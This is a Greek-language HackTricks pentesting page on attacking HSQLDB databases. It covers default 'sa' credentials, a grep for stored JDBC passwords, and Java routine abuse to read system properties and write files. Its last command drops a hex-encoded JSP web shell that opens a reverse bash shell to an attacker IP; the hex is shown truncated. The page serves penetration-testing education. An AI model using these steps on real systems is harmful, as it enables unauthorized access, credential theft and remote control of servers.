mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
70 lines
5.1 KiB
Markdown
70 lines
5.1 KiB
Markdown
# 9001 - Pentesting HSQLDB
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Basic Information
|
||
|
||
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** είναι το κορυφαίο σύστημα σχεσιακής βάσης δεδομένων SQL που έχει γραφτεί σε Java. Προσφέρει μια μικρή, γρήγορη, πολυνηματική και συναλλαγματική μηχανή βάσης δεδομένων με πίνακες μνήμης και δίσκου και υποστηρίζει ενσωματωμένες και διακομιστικές λειτουργίες.
|
||
|
||
**Default port:** 9001
|
||
```text
|
||
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
|
||
```
|
||
## Προεπιλεγμένες Ρυθμίσεις
|
||
|
||
Σημειώστε ότι από προεπιλογή αυτή η υπηρεσία πιθανώς εκτελείται στη μνήμη ή είναι συνδεδεμένη με το localhost. Αν την βρήκατε, πιθανώς εκμεταλλευτήκατε μια άλλη υπηρεσία και ψάχνετε να κλιμακώσετε τα δικαιώματα.
|
||
|
||
Οι προεπιλεγμένες διαπιστεύσεις είναι συνήθως `sa` με κενό κωδικό πρόσβασης.
|
||
|
||
Αν έχετε εκμεταλλευτεί μια άλλη υπηρεσία, αναζητήστε πιθανές διαπιστεύσεις χρησιμοποιώντας
|
||
```text
|
||
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
|
||
```
|
||
Σημειώστε προσεκτικά το όνομα της βάσης δεδομένων - θα το χρειαστείτε για να συνδεθείτε.
|
||
|
||
## Συλλογή Πληροφοριών
|
||
|
||
Συνδεθείτε στην DB instance κατεβάζοντας [HSQLDB](https://sourceforge.net/projects/hsqldb/files/) και εξάγοντας το `hsqldb/lib/hsqldb.jar`. Εκτελέστε την εφαρμογή GUI \(eww\) χρησιμοποιώντας `java -jar hsqldb.jar` και συνδεθείτε στην instance χρησιμοποιώντας τα ανακαλυφθέντα/αδύναμα διαπιστευτήρια.
|
||
|
||
Σημειώστε ότι η διεύθυνση URL σύνδεσης θα μοιάζει κάπως έτσι για ένα απομακρυσμένο σύστημα: `jdbc:hsqldb:hsql://ip/DBNAME`.
|
||
|
||
## Τεχνάσματα
|
||
|
||
### Ρoutines Γλώσσας Java
|
||
|
||
Μπορούμε να καλέσουμε στατικές μεθόδους μιας κλάσης Java από το HSQLDB χρησιμοποιώντας Ρoutines Γλώσσας Java. Σημειώστε ότι η καλούμενη κλάση πρέπει να είναι στο classpath της εφαρμογής.
|
||
|
||
Οι JRTs μπορούν να είναι `functions` ή `procedures`. Οι συναρτήσεις μπορούν να καλούνται μέσω SQL δηλώσεων αν η μέθοδος Java επιστρέφει μία ή περισσότερες SQL-συμβατές πρωτότυπες μεταβλητές. Ενεργοποιούνται χρησιμοποιώντας τη δήλωση `VALUES`.
|
||
|
||
Αν η μέθοδος Java που θέλουμε να καλέσουμε επιστρέφει void, πρέπει να χρησιμοποιήσουμε μια διαδικασία που ενεργοποιείται με τη δήλωση `CALL`.
|
||
|
||
### Ανάγνωση Ιδιοτήτων Συστήματος Java
|
||
|
||
Δημιουργήστε συνάρτηση:
|
||
```text
|
||
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
|
||
DETERMINISTIC NO SQL
|
||
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
|
||
```
|
||
Εκτέλεση συνάρτησης:
|
||
```text
|
||
VALUES(getsystemproperty('user.name'))
|
||
```
|
||
Μπορείτε να βρείτε μια [λίστα με τις ιδιότητες του συστήματος εδώ](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
|
||
|
||
### Γράψτε Περιεχόμενο σε Αρχείο
|
||
|
||
Μπορείτε να χρησιμοποιήσετε το `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` Java gadget που βρίσκεται στο JDK \(αυτόματα φορτωμένο στο class path της εφαρμογής\) για να γράψετε hex-encoded στοιχεία στον δίσκο μέσω μιας προσαρμοσμένης διαδικασίας. **Σημειώστε το μέγιστο μέγεθος των 1024 bytes**.
|
||
|
||
Δημιουργήστε διαδικασία:
|
||
```text
|
||
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
|
||
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
|
||
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
|
||
```
|
||
Εκτέλεση διαδικασίας:
|
||
```text
|
||
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
|
||
```
|
||
{{#include ../banners/hacktricks-training.md}}
|